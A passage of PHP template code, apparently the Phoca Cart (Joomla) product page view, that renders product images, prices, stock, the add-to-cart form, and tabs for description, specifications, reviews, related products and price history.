array('component' => 'com_phocacart'));
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutS = new JLayoutFile('product_stock', null,
array('component' => 'com_phocacart'));
$layoutID = new JLayoutFile('product_id', null,
array('component' => 'com_phocacart'));
$layoutPP = new JLayoutFile('product_play', null,
array('component' => 'com_phocacart'));
$layoutA = new JLayoutFile('button_add_to_cart_item', null,
array('component' => 'com_phocacart'));
$layoutA2 = new JLayoutFile('button_buy_now_paddle', null,
array('component' => 'com_phocacart'));
$layoutA3 = new JLayoutFile('button_external_link', null,
array('component' => 'com_phocacart'));
$layoutQ = new JLayoutFile('button_ask_question', null,
array('component' => 'com_phocacart'));
$layoutPD = new JLayoutFile('button_public_download', null,
array('component' => 'com_phocacart'));
$layoutEL = new JLayoutFile('link_external_link', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutPOQ = new JLayoutFile('product_order_quantity', null,
array('component' => 'com_phocacart'));
$layoutSZ = new JLayoutFile('product_size', null,
array('component' => 'com_phocacart'));
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
$layoutAAQ = new JLayoutFile('popup_container_iframe', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-item-box"
class="pc-item-view'.$this->p->get(
'pageclass_sfx' ).'">';
if (isset($this->category[0]->id) &&
($this->t['display_back'] == 2 ||
$this->t['display_back'] == 3)) {
if ($this->category[0]->id > 0) {
$linkUp =
JRoute::_(PhocacartRoute::getCategoryRoute($this->category[0]->id,
$this->category[0]->alias));
$linkUpText = $this->category[0]->title;
} else {
$linkUp = false;
$linkUpText = false;
}
if ($linkUp && $linkUpText) {
echo '<div class="ph-top">'
.'<a
class="'.$this->s['c']['btn.btn-success'].'"
title="'.$linkUpText.'" href="'.
$linkUp.'" >'
.'<span
class="'.$this->s['i']['back-category'].'"></span>
'.JText::_($linkUpText).'</a>'
.'</div>';
}
}
echo $this->t['event']->onItemBeforeHeader;
$popupAskAQuestion = 0;// we need this info for the container at the bottom
(if modal popup is used for ask a question)
$x = isset($this->item[0]) ? $this->item[0]: 0;
if (!empty($x) && isset($x->id) && (int)$x->id >
0) {
$idName = 'VItemP'.(int)$x->id;
echo '<div
class="'.$this->s['c']['row'].'">';
// === IMAGE PANEL
echo '<div id="phImageBox"
class="'.$this->s['c']['col.xs12.sm5.md5']
.'">';
//JPluginHelper::importPlugin('pcv');
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemImage',
array('com_phocacart.item', &$x, &$this->t,
&$this->p));
$imageOutput = trim(implode("\n", $results));
if ($imageOutput != '') {
echo $imageOutput;// rendered by plugin
} else {
$label = PhocacartRenderFront::getLabel($x->date, $x->sales,
$x->featured);
// IMAGE
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'large');// Image
$imageL =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'large');// Image Link to enlarge
// Some of the attribute is selected - this attribute include image so
the image should be displayed instead of default
$imageA =
PhocaCartImage::getImageChangedByAttributes($this->t['attr_options'],
'large');
if ($imageA != '') {
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$imageA, 'large');
$imageL =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$imageA, 'large');
}
$link = JURI::base(true) . '/' . $imageL->rel;// Thumbnail
//$link = JURI::base(true) . '/' .
$this->t['pathitem']['orig_rel_ds'] .
$x->image;// Original image
if ($this->t['display_webp_images'] == 1) {
$link = JURI::base(true) . '/' . $imageL->rel_webp;
}
if (isset($image->rel) && $image->rel != '') {
$altValue = PhocaCartImage::getAltTitle($x->title, $image->rel);
echo '<div class="ph-item-image-full-box ' .
$label['cssthumbnail'] . '">';
echo '<div class="ph-label-box">';
echo $label['new'] . $label['hot'] .
$label['feat'];
if ($this->t['taglabels_output'] != '') {
echo $this->t['taglabels_output'];
}
echo '</div>';
$imageS =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'small');
$linkS = JURI::base(true) . '/' . $imageS->rel;//
Thumbnail
if ($this->t['display_webp_images'] == 1) {
$linkS = JURI::base(true) . '/' . $imageS->rel_webp;
}
echo '<a href="' . $link . '" ' .
$this->t['image_rel'] . ' class="' .
$this->t['image_class'] . ' phjProductHref' .
$idName . ' phImageFullHref" data-href="' . $link .
'" data-href-s="' . $linkS . '">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] = JURI::base(true) . '/' .
$image->rel;
$d['data-image'] = JURI::base(true) . '/' .
$image->rel;
$d['data-image-webp'] = JURI::base(true) . '/' .
$image->rel_webp;
$d['alt-value'] = PhocaCartImage::getAltTitle($x->title,
$image->rel);
$d['srcset-webp'] = $d['data-image-webp'];
$d['data-image-meta'] = $d['data-image'];
$d['class'] =
PhocacartRenderFront::completeClass(array($this->s['c']['img-responsive'],
$label['cssthumbnail2'], 'ph-image-full',
'phImageFull', 'phjProductImage' . $idName));
$d['style'] = '';
if (isset($this->t['image_width']) &&
(int)$this->t['image_width'] > 0 &&
isset($this->t['image_height']) &&
(int)$this->t['image_height'] > 0) {
$d['style'] = 'width:' .
$this->t['image_width'] . 'px;height:' .
$this->t['image_height'] . 'px';
}
echo $layoutI->render($d);
echo '</a>';
echo '</div>' . "\n";// end
item_row_item_box_full_image
}
// ADDITIONAL IMAGES
if (!empty($this->t['add_images'])) {
echo '<div class="' .
$this->s['c']['row'] . '
ph-item-image-add-box">';
foreach ($this->t['add_images'] as $v2) {
echo '<div class="' .
$this->s['c']['col.xs12.sm4.md4'] . '
ph-item-image-box">';
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v2->image, 'small');
$imageL =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v2->image, 'large');
$link = JURI::base(true) . '/' . $imageL->rel;
if ($this->t['display_webp_images'] == 1) {
$link = JURI::base(true) . '/' . $imageL->rel_webp;
}
$altValue = PhocaCartImage::getAltTitle($x->title, $v2->image);
echo '<a href="' . $link . '" ' .
$this->t['image_rel'] . ' class="' .
$this->t['image_class'] . '
phImageAdditionalHref">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] = JURI::base(true) . '/' .
$image->rel;
$d['srcset-webp'] = JURI::base(true) . '/' .
$image->rel_webp;
$d['alt-value'] = PhocaCartImage::getAltTitle($x->title,
$v2->image);
$d['class'] =
PhocacartRenderFront::completeClass(array($this->s['c']['img-responsive'],
$label['cssthumbnail2'], 'ph-image-full',
'phImageAdditional', /*,
'phjProductImage'.$idName*/));
echo $layoutI->render($d);
echo '</a>';
echo '</div>';
}
echo '</div>';// end additional images
}
} // end image output
echo '</div>';// end item_row_item_c1
// === PRICE PANEL
echo '<div
class="'.$this->s['c']['col.xs12.sm7.md7'].'">';
echo '<div class="ph-item-price-panel
phItemPricePanel">';
$title = '';
if (isset($this->item[0]->title) &&
$this->item[0]->title != '') {
$title = $this->item[0]->title;
}
echo PhocacartRenderFront::renderHeader(array($title));
// :L: PRICE
$price = new PhocacartPrice;// Can be used by options
$priceItems = array();
if ($this->t['can_display_price']) {
$priceItems = $price->getPriceItems($x->price, $x->taxid,
$x->taxrate, $x->taxcalculationtype, $x->taxtitle,
$x->unit_amount, $x->unit_unit, 1, 1, $x->group_price);
// Can change price and also SKU OR EAN (Advanced Stock and Price
Management)
$price->getPriceItemsChangedByAttributes($priceItems,
$this->t['attr_options'], $price, $x);
$d = array();
$d['s'] = $this->s;
$d['type'] = $x->type;// PRODUCTTYPE
$d['priceitems'] = $priceItems;
$d['priceitemsorig']= array();
if ($x->price_original != '' &&
$x->price_original > 0) {
$d['priceitemsorig'] =
$price->getPriceItems($x->price_original, $x->taxid,
$x->taxrate, $x->taxcalculationtype);
}
$d['class'] = 'ph-item-price-box';
$d['product_id'] = (int)$x->id;
$d['typeview'] = 'Item';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$d['priceitemsdiscount'] = $d['priceitems'];
$d['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($x->id,
$d['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$d['priceitemsdiscountcart'] =
$d['priceitemsdiscount'];
$d['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($x->id,
$x->catid, $d['priceitemsdiscountcart']);
$d['zero_price'] = 1;// Apply zero price if possible
echo $layoutP->render($d);
}
if ( isset($x->description) && $x->description !=
'') {
echo '<div class="ph-desc">'.
Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$x->description). '</div>';
}
// REWARD POINTS - NEEDED
$pointsN = PhocacartReward::getPoints($x->points_needed,
'needed');
if ($pointsN) {
echo '<div class="ph-item-reward-box">';
echo '<div
class="ph-reward-txt">'.JText::_('COM_PHOCACART_PRICE_IN_REWARD_POINTS').'</div>';
echo '<div
class="ph-reward">'.$pointsN.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
// REWARD POINTS - RECEIVED
$pointsR = PhocacartReward::getPoints($x->points_received,
'received', $x->group_points_received);
if ($pointsR) {
echo '<div class="ph-item-reward-box">';
echo '<div
class="ph-reward-txt">'.JText::_('COM_PHOCACART_REWARD_POINTS').'</div>';
echo '<div
class="ph-reward">'.$pointsR.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->manufacturertitle) && $x->manufacturertitle !=
'') {
echo '<div class="ph-item-manufacturer-box">';
echo '<div
class="ph-manufacturer-txt">'.JText::_('COM_PHOCACART_MANUFACTURER').':</div>';
echo '<div class="ph-manufacturer">';
echo PhocacartRenderFront::displayLink($x->manufacturertitle,
$x->manufacturerlink);
echo '</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
// STOCK ===================================================
// Set stock: product, variations, or advanced stock status
// There are classes because AJAX can change the visibility of buttons
// Last word when checking if product can be ordered have always checkout
$class_btn = '';
$class_icon = '';
$stock =
PhocacartStock::getStockItemsChangedByAttributes($this->t['stock_status'],
$this->t['attr_options'], $x);
if ($this->t['hide_add_to_cart_stock'] == 1 &&
(int)$stock < 1) {
$class_btn = 'ph-visibility-hidden';
$class_icon = 'ph-display-none';
}
if ($this->t['display_stock_status'] == 1 ||
$this->t['display_stock_status'] == 3) {
if($this->t['stock_status']['stock_status'] ||
$this->t['stock_status']['stock_count'] !== false)
{
$d = array();
$d['s'] = $this->s;
$d['class'] = 'ph-item-stock-box';
$d['product_id'] = (int)$x->id;
$d['typeview'] = 'Item';
$d['stock_status_output'] =
PhocacartStock::getStockStatusOutput($this->t['stock_status']);
echo $layoutS->render($d);
}
if($this->t['stock_status']['min_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY');
$dPOQ['status'] =
$this->t['stock_status']['min_quantity'];
echo $layoutPOQ->render($dPOQ);
}
if($this->t['stock_status']['min_multiple_quantity'])
{
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY');
$dPOQ['status'] =
$this->t['stock_status']['min_multiple_quantity'];
echo $layoutPOQ->render($dPOQ);
}
}
if ((int)$this->t['item_display_delivery_date'] > 0
&& $x->delivery_date != '' &&
$x->delivery_date != '0000-00-00 00:00:00') {
echo '<div
class="ph-item-delivery-date-box">';
echo '<div
class="ph-delivery-date-txt">'.JText::_('COM_PHOCACART_DELIVERY_DATE').':</div>';
echo '<div class="ph-delivery-date">';
echo JHtml::date($x->delivery_date, 'DATE_FORMAT_LC3');
echo '</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
// END STOCK ================================================
// SIZE OPTIONS =============================================
if ((int)$this->t['item_display_size_options'] > 0){
$dSZ = array();
$dSZ['s'] = $this->s;
$dSZ['length'] = $x->length;
$dSZ['width'] = $x->width;
$dSZ['height'] = $x->height;
$dSZ['weight'] = $x->weight;
$dSZ['volume'] = $x->volume;
$dSZ['unit_amount'] = $x->unit_amount;
$dSZ['unit_unit'] = $x->unit_unit;
echo $layoutSZ->render($dSZ);
}
// END SIZE OPTIONS =========================================
// ID OPTIONS (SKU, EAN, UPC, ...) ==========================
$id = new PhocacartId();
$id->getIdItemsChangedByAttributes($x,
$this->t['attr_options']);
$dID = array();
$dID['s'] = $this->s;
$dID['x'] = $x;
$dID['class'] = 'ph-item-id-box';
$dID['product_id'] = (int)$x->id;
$dID['typeview'] = 'Item';
echo $layoutID->render($dID);
// END ID OPTIONS ===========================================
// This form can get two events:
// when option selected - price or image is changed id=phItemPriceBoxForm
// when ajax cart is active and submit button is clicked
class=phItemCartBoxForm
echo '<form
id="phCartAddToCartButton'.(int)$x->id.'"
class="phItemCartBoxForm phjAddToCart phjItem
phjAddToCartVItemP'.(int)$x->id.' form-inline"
action="'.$this->t['linkcheckout'].'"
method="post">';
// ATTRIBUTES, OPTIONS
$d = array();
$d['s'] = $this->s;
$d['attr_options'] = $this->t['attr_options'];
$d['hide_attributes'] =
$this->t['hide_attributes_item'];
$d['dynamic_change_image'] =
$this->t['dynamic_change_image'];
$d['zero_attribute_price'] =
$this->t['zero_attribute_price'];
$d['remove_select_option_attribute'] =
$this->t['remove_select_option_attribute'];
$d['pathitem'] = $this->t['pathitem'];
$d['init_type'] = 0;
$d['price'] = $price;
$d['product_id'] = (int)$x->id;
$d['gift_types'] = $x->gift_types;
$d['image_size'] = 'large';
$d['typeview'] = 'Item';
$d['priceitems'] = $priceItems;
echo $layoutAB->render($d);
// :L: ADD TO CART
$addToCartHidden = 0;// Button can be hidden based on price
if ($x->type == 3) {
// PRODUCTTYPE - price on demand product cannot be added to cart
$addToCartHidden = 1;
} else if ($this->t['hide_add_to_cart_zero_price'] == 1
&& $x->price == 0) {
// Don't display Add to Cart in case the price is zero
$addToCartHidden = 1;
} else if ((int)$this->t['item_addtocart'] == 1 ||
(int)$this->t['item_addtocart'] == 4) {
$d = array();
$d['s'] = $this->s;
$d['id'] = (int)$x->id;
$d['catid'] = $this->t['catid'];
$d['return'] = $this->t['actionbase64'];
$d['addtocart'] = $this->t['item_addtocart'];
$d['typeview'] = 'Item';
$d['class_btn'] = $class_btn;
$d['class_icon'] = $class_icon;
echo $layoutA->render($d);
} else if ((int)$this->t['item_addtocart'] == 102 &&
(int)$x->external_id != '') {
$d = array();
$d['s'] = $this->s;
$d['external_id'] = (int)$x->external_id;
$d['return'] = $this->t['actionbase64'];
echo $layoutA2->render($d);
} else if ((int)$this->t['item_addtocart'] == 103 &&
$x->external_link != '') {
$d = array();
$d['s'] = $this->s;
$d['external_link'] = $x->external_link;
$d['external_text'] = $x->external_text;
$d['return'] = $this->t['actionbase64'];
echo $layoutA3->render($d);
}
echo '</form>';
echo '<div class="ph-cb"></div>';
echo $this->t['event']->onItemAfterAddToCart;
echo '<div class="ph-top-space"></div>';
if ($this->t['display_compare'] == 1 ||
$this->t['display_wishlist'] == 1) {
//echo '<div class="ph-cb"></div>';
}
// :L: COMPARE
if ($this->t['display_compare'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkc'] = $this->t['linkcomparison'];
$d['id'] = (int)$x->id;
$d['catid'] = (int)$x->catid;
$d['return']= $this->t['actionbase64'];
$d['method']= $this->t['add_compare_method'];
echo $layoutC->render($d);
}
// :L: WISHLIST
if ($this->t['display_wishlist'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkw'] = $this->t['linkwishlist'];
$d['id'] = (int)$x->id;
$d['catid'] = (int)$x->catid;
$d['return']= $this->t['actionbase64'];
$d['method']= $this->t['add_wishlist_method'];
echo $layoutW->render($d);
}
echo '<div class="ph-cb"></div>';
// :L: PUBLIC DOWNLOAD
if ($this->t['display_public_download'] == 1 &&
$x->public_download_file != '') {
$d = array();
$d['s'] = $this->s;
$d['linkdownload'] = $this->t['linkdownload'];
$d['id'] = (int)$x->id;
$d['return'] = $this->t['actionbase64'];
$d['title'] = '';
if ($x->public_download_text != '') {
$d['title'] = $x->public_download_text;
}
echo '<div class="ph-cb"></div>';
echo $layoutPD->render($d);
}
// :L: PUBLIC FILE PLAY
if ($this->t['display_file_play'] == 1 &&
$x->public_play_file != '') {
$d = array();
$d['s'] = $this->s;
$d['id'] = (int)$x->id;
$d['publicplayfile'] = $x->public_play_file;
$d['pathpublicfile'] =
$this->t['pathpublicfile'];
$d['title'] = '';
if ($x->public_play_text != '') {
$d['title'] = $x->public_play_text;
}
echo '<div class="ph-cb"></div>';
echo $layoutPP->render($d);
}
// :L: EXTERNAL LINK
if ($this->t['display_external_link'] == 1 &&
$x->external_link != '') {
$d = array();
$d['s'] = $this->s;
$d['linkexternal'] = $x->external_link;
//$d['id'] = (int)$x->id;
//$d['return'] = $this->t['actionbase64'];
$d['title'] = '';
if ($x->external_text != '') {
$d['title'] = $x->external_text;
}
echo '<div class="ph-cb"></div>';
echo $layoutEL->render($d);
}
// :L: EXTERNAL LINK 2
if ($this->t['display_external_link'] == 1 &&
$x->external_link2 != '') {
$d = array();
$d['s'] = $this->s;
$d['linkexternal'] = $x->external_link2;
//$d['id'] = (int)$x->id;
//$d['return'] = $this->t['actionbase64'];
$d['title'] = '';
if ($x->external_text2 != '') {
$d['title'] = $x->external_text2;
}
echo '<div class="ph-cb"></div>';
echo $layoutEL->render($d);
}
// ASK A QUESTION
if (((int)$this->t['item_askquestion'] == 1) ||
($this->t['item_askquestion'] == 2 &&
((int)$this->t['item_addtocart'] == 0 || $addToCartHidden !=
0))) {
$d = array();
$d['s'] = $this->s;
$d['id'] = (int)$x->id;
$d['catid'] = $this->t['catid'];
$d['popup'] = 0;
$tmpl = '';
if ((int)$this->t['popup_askquestion'] > 0) {
$d['popup'] =
(int)$this->t['popup_askquestion'];
$popupAskAQuestion = (int)$this->t['popup_askquestion'];
$tmpl = 'tmpl=component';
}
$d['link'] =
JRoute::_(PhocacartRoute::getQuestionRoute($x->id, $x->catid,
$x->alias, $x->catalias, $tmpl));
$d['return'] = $this->t['actionbase64'];
echo '<div class="ph-cb"></div>';
echo $layoutQ->render($d);
}
echo '<div class="ph-cb"></div>';
echo $this->t['event']->onItemBeforeEndPricePanel;// View
Plugin
echo $this->t['event']->PCPonItemBeforeEndPricePanel;//
Payment Plugin
echo '</div>';// end item_row_item_box_price
echo '</div>';// end item_row_item_c2
echo '</div>';// end item_row
echo '<div class="ph-item-bottom-box">';
// TABS
$active = $this->s['c']['tabactive'];
$activeTab = $this->s['c']['tabactvietab'];// Not
displayed in Bootstrap4
$tabO = '';
$tabLiO = '';
// DESCRIPTION
if (isset($x->description_long) && $x->description_long !=
'') {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phdescription"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_DESCRIPTION').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="phdescription">';
$tabO .= Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$x->description_long);
$tabO .= '</div>';
$active = $activeTab = '';
}
// FEATURES
if (isset($x->features) && $x->features != '') {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phfeatures"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_FEATURES').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="phfeatures">';
$tabO .= Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$x->features);
$tabO .= '</div>';
$active = $activeTab = '';
}
// VIDEO
if (isset($x->video) && $x->video != '') {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phvideo"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_VIDEO').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'" id="phvideo">';
$tabO .= PhocacartRenderFront::displayVideo($x->video);
$tabO .= '</div>';
$active = $activeTab = '';
}
// SPECIFICATION
if (!empty($this->t['specifications'])){
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phspecification"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_SPECIFICATIONS').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="phspecification">';
foreach($this->t['specifications'] as $k => $v) {
if(isset($v[0]) && $v[0] != '') {
$tabO .= '<h4
class="ph-spec-group-title">'.$v[0].'</h4>';
unset($v[0]);
}
if (!empty($v)) {
foreach($v as $k2 => $v2) {
if (isset($v2['title']) &&
isset($v2['value'])) {
$tabO .= '<div class="' .
$this->s['c']['row'] . '">';
$tabO .= '<div class="' .
$this->s['c']['col.xs12.sm5.md5'] .
'">';
$tabO .= '<div class="ph-spec-title">' .
$v2['title'] . '</div>';
$tabO .= '</div>';
$tabO .= '<div class="' .
$this->s['c']['col.xs12.sm7.md7'] .
'">';
$tabO .= '<div class="ph-spec-value">' .
$v2['value'] . '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
}
}
}
}
$tabO .= '</div>';
$active = $activeTab = '';
}
// REVIEWS
if ($this->t['enable_review'] > 0) {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phreview"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_REVIEWS').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'" id="phreview">';
if (!empty($this->t['reviews'])) {
foreach($this->t['reviews'] as $k => $v) {
$rating = $v->rating;
$tabO .= '<div class="bs-callout
bs-callout-info">';
$tabO .= '<h4
class="ph-reviews-name">'.htmlspecialchars($v->name).'</h4>';
$tabO .= '<div><span
class="ph-stars"><span
style="width:'.((int)$rating * 16)
.'px;"></span></span></div>';
$tabO .= '<div
class="ph-reviews-review">'.htmlspecialchars($v->review).'</div>';
$tabO .= '</div>';
}
}
if ((int)$this->u->id > 0) {
$tabO .= '<form
action="'.$this->t['linkitem'].'"
method="post"
class="'.$this->s['c']['item_review_form'].'">';
// ROW
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">';
$tabO .= '<div
class="ph-review-title">'.JText::_('COM_PHOCACART_RATING').'</div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm10.md10'].'
ph-rating-box">';
$tabO .= '<div class="ph-review-value
ph-rating">';
$tabO .= '<select name="rating"
id="phitemrating">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
// ROW
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">';
$tabO .= '<div
class="ph-review-title">'.JText::_('COM_PHOCACART_NAME').'</div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'">';
$tabO .= '<div class="ph-review-value"><input
type="text" name="name" class="form-control"
value="'. $this->u->name .'"
/></div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'"></div>';
$tabO .= '</div>';
// ROW
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">';
$tabO .= '<div
class="ph-review-title">'.JText::_('COM_PHOCACART_REVIEW').'</div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'">';
$tabO .= '<div class="ph-review-value"><textarea
class="" name="review"
rows="3"></textarea></div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'"></div>';
$tabO .= '</div>';
// ROW
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"></div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'">';
$tabO .= '<div
class="'.$this->s['c']['pull-right'].'">';
$tabO .= '<button
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['edit'].'"></span>
'.JText::_('COM_PHOCACART_SUBMIT').'</button>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm5.md5'].'"></div>';
$tabO .= '</div>';
// END ROW
$tabO .= Joomla\CMS\HTML\HTMLHelper::_('form.token');
$tabO .= '<input type="hidden" name="catid"
value="'.$this->t['catid'].'">';
$tabO .= '<input type="hidden" name="task"
value="item.review">';
$tabO .= '<input type="hidden" name="tmpl"
value="component" />';
$tabO .= '<input type="hidden" name="option"
value="com_phocacart" />';
$tabO .= '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
$tabO .= '</form>';
} else {
$tabO .= '<div
class="ph-message">'.JText::_('COM_PHOCACART_ONLY_LOGGED_IN_USERS_CAN_MAKE_REVIEW_PLEASE_LOGIN').'</div>';
}
$tabO .= '</div>';
$active = $activeTab = '';
}
// RELATED PRODUCTS
if (!empty($this->t['rel_products'])) {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phrelated"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_RELATED_PRODUCTS').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="phrelated">';
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
foreach($this->t['rel_products'] as $k => $v) {
$tabO .= '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
$tabO .= '<div class="ph-item-box grid
ph-item-thumbnail-related">';
$tabO .= '<div
class="'.PhocacartRenderFront::completeClass(array($this->s['c']['thumbnail'],
'ph-thumbnail', 'ph-thumbnail-c',
'ph-item')).'">';
$tabO .= '<div class="ph-item-content">';
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v->image, 'medium');
// Try to find the best menu link
if (isset($v->catid2) && (int)$v->catid2 > 0 &&
isset($v->catalias2) && $v->catalias2 != '') {
$link = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid2, $v->alias, $v->catalias2));
} else {
$link = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid, $v->alias, $v->catalias));
}
$tabO .= '<a href="'.$link.'">';
if (isset($image->rel) && $image->rel != '') {
/*$tabO .= '<img
src="'.JURI::base(true).'/'.$image->rel.'"
alt=""
class="'.$this->s['c']['img-responsive'].'
ph-image"';
if (isset($this->t['image_width']) &&
$this->t['image_width'] != '' &&
isset($this->t['image_height']) &&
$this->t['image_height'] != '') {
$tabO .= '
style="width:'.$this->t['image_width'].';height:'.$this->t['image_height'].'"';
}
$tabO .= ' />';*/
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] = JURI::base(true) . '/' .
$image->rel;
$d['srcset-webp'] = JURI::base(true) . '/' .
$image->rel_webp;
$d['data-image'] = JURI::base(true) . '/' .
$image->rel;
$d['data-image-webp'] = JURI::base(true) . '/' .
$image->rel_webp;
$d['alt-value'] = PhocaCartImage::getAltTitle($v->title,
$image->rel);
$d['class'] =
PhocacartRenderFront::completeClass(array($this->s['c']['img-responsive'],
'img-thumbnail', 'ph-image-full',
'phImageFull', 'phjProductImage' . ''));
$d['style'] = '';
/*if (isset($this->t['image_width']) &&
(int)$this->t['image_width'] > 0 &&
isset($this->t['image_height']) &&
(int)$this->t['image_height'] > 0) {
$d['style'] = 'width:' .
$this->t['image_width'] . 'px;height:' .
$this->t['image_height'] . 'px';
}*/
$tabO .= $layoutI->render($d);
}
$tabO .= '</a>';
$tabO .= '<div
class="'.$this->s['c']['caption'].'"><h4><a
href="'.$link.'">'.$v->title.'</a></h4></div>';
$tabO .= '<div class="">';
$tabO .= '<a href="'.$link.'"
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn" role="button"><span
class="'.$this->s['i']['view-product'].'"></span>
'.JText::_('COM_PHOCACART_VIEW_PRODUCT').'</a>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
}
$tabO .= '</div>';
$tabO .= '</div>';
$active = $activeTab = '';
}
// PRICE HISTORY
if ($this->t['enable_price_history'] &&
$this->t['price_history_data']) {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a href="#phpricehistory"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.JText::_('COM_PHOCACART_PRICE_HISTORY').'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="phpricehistory">';
$tabO .= '<div
class="'.$this->s['c']['row'].'">';
$tabO .= '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-cpanel-chart-box">';
$tabO .= '<div id="phChartAreaLineHolder"
class="ph-chart-canvas-holder" style="width:95%"
>';
$tabO .= '<canvas id="phChartAreaLine"
class="ph-chart-area-line"></canvas>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
$tabO .= '</div>';
